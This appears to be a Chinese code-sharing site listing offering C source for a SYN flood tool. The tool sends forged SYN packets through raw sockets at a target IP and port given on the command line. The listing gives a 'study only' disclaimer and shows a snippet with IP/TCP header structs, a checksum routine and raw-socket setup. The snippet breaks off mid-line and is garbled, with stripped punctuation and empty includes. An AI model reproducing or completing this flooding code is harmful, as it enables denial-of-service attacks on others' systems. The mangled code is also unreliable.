資源簡介
SYN flood源代碼,可對指定IP的任意端口快速發生SYN數據包,代碼利用原始Socket直接操作網絡層。
由于微軟在XP SP2(包括SP2)以上系統禁止原始SOCKET發生TCP和含無效IP的UDP數據包,所以建議運行在Server 2003。代碼僅供學習使用,切莫非法活動。
代碼片段和文件信息
#include?
#include?
#include?
#include?
#include?
#include?
#pragma?comment(lib?“ws2_32.lib“)
#define?MAX_RECEIVEBYTE?255
typedef?struct?ip_head?//定義IP首部
{
unsigned?char?h_verlen;?//4位首部長度4位IP版本號
unsigned?char?tos;?//8位服務類型TOS
unsigned?short?total_len;?//16位總長度(字節)
unsigned?short?ident;?//16位標識
unsigned?short?frag_and_flags;?//3位標志位?(如SYNACK,等)
unsigned?char?ttl;?//8位生存時間?TTL
unsigned?char?proto;?//8位協議?(如ICMP,TCP等)
unsigned?short?checksum;?//16位IP首部校驗和
unsigned?int?sourceIP;?//32位源IP地址
unsigned?int?destIP;?//32位目的IP地址
}IPHEADER;
typedef?struct?tcp_head?//定義TCP首部
{
USHORT?th_sport;?//16位源端口
USHORT?th_dport;?//16位目的端口
unsigned?int?th_seq;?//32位序列號
unsigned?int?th_ack;?//32位確認號
unsigned?char?th_lenres;?//4位首部長度/6位保留字
unsigned?char?th_flag;?//6位標志位
USHORT?th_win;?//16位窗口大小
USHORT?th_sum;?//16位校驗和
USHORT?th_urp;?//16位緊急數據偏移量
}TCPHEADER;
typedef?struct?tsd_head?//定義TCP偽首部
{
unsigned?long?saddr;?//源地址
unsigned?long?daddr;?//目的地址
char?mbz;
char?ptcl;?//協議類型
unsigned?short?tcpl;?//TCP長度
}PSDHEADER;
//CheckSum:計算校驗和的子函數
USHORT?checksum(USHORT?*buffer?int?size)
{
unsigned?long?cksum=0;
while(size?>1)
{
cksum+=*buffer++;
size?-=sizeof(USHORT);
}
if(size)
{
cksum?+=?*(UCHAR*)buffer;
}
cksum?=?(cksum?>>?16)?+?(cksum?&?0xffff);
cksum?+=?(cksum?>>16);
return?(USHORT)(~cksum);
}
//Delay_time單位為毫秒。
int?main(int?argc?char*?argv[])
{
WSADATA?WSAData;
SOCKET?sock;
SOCKADDR_IN?addr_in;
IPHEADER?ipHeader;
TCPHEADER?tcpHeader;
PSDHEADER?psdHeader;
int?SourcePort;
char?szSendBuf[60]={0};
BOOL?flag;
int?rectnTimeOver;
int?sleeptime;
printf(“***********************************************************\n“);
printf(“SYN_FLOOD\n“);
printf(“Parameter:?FLOOD?Target_ip?Target_port?Delay_time\n“);
printf(“***********************************************************\n“);
if?(argc?3?||?argc?>4?)
{?printf(“input?error!?“);
return?false;?}
if?(argc==4)?sleeptime=atoi(argv[3]);
else?sleeptime=300;
if?(WSAStartup(MAKEWORD(22)?&WSAData)!=0)
{
printf(“WSAStartup?Error!“);
return?false;
}
sock=NULL;
if?((sock=socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET)
{
printf(“Socket?Setup?Error!“);
return?false;
}
flag=true;
if?(setsockopt(sockIPPROTO_IP?IP_HDRINCL(char?*)&flagsizeof(flag))==SOCKET_ERROR)
{
printf(“setsockopt?IP_HDRINCL?error!“);
return?false;
}
nTimeOver=1000;
if?(setsockopt(sock?SOL_SOCKET?SO_SNDTIMEO?(char*)&nTimeOver?sizeof(nTimeOver))==SOCKET_ERROR)?//設置發送的時間
{
printf(“setsockopt?SO_SNDTIMEO?error!“);
return?false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));
addr_in.s
- 上一篇:水波干涉模擬程序
- 下一篇:C++經典練習例題200例
評論
共有 條評論